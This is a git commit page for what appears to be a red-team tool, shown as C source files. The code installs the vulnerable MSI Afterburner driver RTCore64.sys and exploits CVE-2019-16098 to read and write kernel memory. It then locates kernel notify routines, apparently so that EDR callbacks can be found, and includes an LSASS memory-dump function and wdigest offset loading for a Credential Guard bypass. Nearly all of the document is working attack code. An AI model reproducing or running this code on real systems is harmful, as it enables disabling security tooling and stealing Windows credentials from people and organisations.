Initial commit for public version

Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
This commit is contained in:
Maxime Meignan
2021-11-08 09:54:05 +01:00
commit 4bff81986b
42 changed files with 8490 additions and 0 deletions
+200
View File
@@ -0,0 +1,200 @@
/*
--- Driver install / uninstall functions.
--- Source and credit: https://github.com/gentilkiwi/mimikatz
*/
#include "DriverOps.h"
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryoneACL = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
if (oldSd) {
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryoneACL.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
SC_HANDLE hSC = NULL, hS = NULL;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (hSC) {
hS = OpenService(hSC, serviceName, SERVICE_START);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
if (ServiceAddEveryoneAccess(hS)) {
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
}
else {
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("CreateService"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("OpenService"));
}
}
if (hS) {
if (startIt) {
if (StartService(hS, 0, NULL)) {
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
}
else {
PRINT_ERROR_AUTO(TEXT("StartService"));
return GetLastError();
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return GetLastError();
}
return 0x0;
}
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
hS = OpenService(hSC, serviceName, dwDesiredAccess);
if (hS) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
// Used as a stop point for recursive calls to ServiceUninstall.
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
return FALSE;
}
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
Sleep(OP_SLEEP_TIME);
}
else {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
SERVICE_STATUS status;
BOOL deleted = FALSE;
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
if (hS) {
if (QueryServiceStatus(hS, &status)) {
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
CloseServiceHandle(hS);
CloseServiceHandle(hSC);
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
else {
deleted = DeleteService(hS);
CloseServiceHandle(hS);
}
}
}
CloseServiceHandle(hSC);
}
if (!deleted) {
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
return deleted;
}
/*
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
*/
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
const TCHAR svcDesc[] = TEXT("");
DWORD status = ServiceInstall(gVulnDriverServiceName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
if (status == 0x00000005) {
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
}
return status == 0x0;
}
BOOL UninstallVulnerableDriver() {
BOOL status = ServiceUninstall(gVulnDriverServiceName, 0);
if (!status) {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
}
return status;
}
+70
View File
@@ -0,0 +1,70 @@
/*
--- ntoskrnl.exe / wdigest.dll version compute functions.
*/
#include "FileVersion.h"
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
DWORD verHandle = 0;
UINT size = 0;
LPVOID lpBuffer = NULL;
DWORD verSize = GetFileVersionInfoSize(filename, &verHandle);
if (verSize != 0) {
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
if (!verData) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
return;
}
if (GetFileVersionInfo(filename, 0, verSize, verData)) {
if (VerQueryValue(verData, TEXT("\\"), &lpBuffer, &size)) {
if (size) {
VS_FIXEDFILEINFO* verInfo = (VS_FIXEDFILEINFO*)lpBuffer;
if (verInfo->dwSignature == 0xfeef04bd) {
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
}
}
}
}
free(verData);
}
}
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
}
void GetWdigestVersion(TCHAR* wdigestVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR wdigestPath[MAX_PATH] = { 0 };
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
}
+178
View File
@@ -0,0 +1,178 @@
/*
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
*/
#include "KernelMemoryPrimitives.h"
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
return MemoryRead.Value;
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
}
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void) {
DWORD cbNeeded = 0;
LPVOID drivers[1024];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
return (DWORD64)drivers[0];
}
return 0;
}
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
LPVOID drivers[1024];
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (verbose) {
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
}
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
if (!ptrDrvier) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
return NULL;
}
_tcscpy_s(ptrDrvier, 1024, szDriver);
return ptrDrvier;
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
HANDLE GetDriverHandle() {
TCHAR service[MAX_PATH] = { 0 };
TCHAR suffix[] = TEXT("\\\\.\\");
_tcsncat_s(service, _countof(service), suffix, _countof(suffix));
_tcsncat_s(service, _countof(service), gVulnDriverServiceName, _tcslen(gVulnDriverServiceName));
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
return Device;
}
DWORD64 GetFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}
+81
View File
@@ -0,0 +1,81 @@
/*
--- ntoskrnl Notify Routines' offsets search functions using patterns.
--- Ultimately not used because too unreliable and too prone to BSoD.
*/
#include "KernelPatternSearch.h"
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
for (DWORD i = 0; i < bytesToScan; i++) {
DWORD64 instructionAddress = startAddress + i;
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
if (dword64InstructionFixed == pattern) {
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
return instructionAddress;
}
}
return 0x0;
}
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
return nextInstructionAddress + procedureRelativeAddress;
}
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateProcessNotifyRoutineAddress;
}
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateThreadNotifyRoutineAddress;
}
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
CloseHandle(Device);
return PspLoadImageNotifyRoutineAddress;
}
+101
View File
@@ -0,0 +1,101 @@
/*
--- LSASS dump functions.
*/
#include "LSASSDump.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
LUID luid;
BOOL bRet = FALSE;
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
bRet = (GetLastError() == ERROR_SUCCESS);
}
}
return bRet;
}
DWORD WINAPI dumpLSASSProcess(void* data) {
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;
TCHAR* outputDump = (TCHAR*)data;
//Enable the SeDebugPrivilege
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
return 1;
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
// Now walk the snapshot of processes, and look for lsass.
do {
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
continue;
}
// Retrieve the priority class.
dwPriorityClass = 0;
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcess)\n"));
return 1;
}
else {
dwPriorityClass = GetPriorityClass(hProcess);
if (!dwPriorityClass) {
_tprintf(TEXT("[!] LSASS dump non fatal error: couldn't retrieve LSASS process' priority class (GetPriorityClass)\n"));
}
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
return 1;
}
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!dumped) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump)\n"));
return 1;
}
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
CloseHandle(hProcess);
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
}
+44
View File
@@ -0,0 +1,44 @@
/*
--- ntoskrnl Notify Routines' offsets from CSV functions.
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
*/
#include "NtoskrnlOffsets.h"
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
TCHAR ntoskrnlVersion[256] = { 0 };
GetNtoskrnlVersion(ntoskrnlVersion);
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
union NtoskrnlOffsets offset_results = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offset_results;
}
TCHAR lineNtoskrnlVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offset_results;
}
+46
View File
@@ -0,0 +1,46 @@
/*
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
*/
#include "WdigestOffsets.h"
union WdigestOffsets wdigestOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
TCHAR wdigestVersion[256] = { 0 };
GetWdigestVersion(wdigestVersion);
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
union WdigestOffsets offsetResults = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offsetResults;
}
TCHAR lineWdigestVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
// TODO: switch hardcoded value to sizeof or const defined
for (int i = 0; i < 2; i++) {
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offsetResults;
}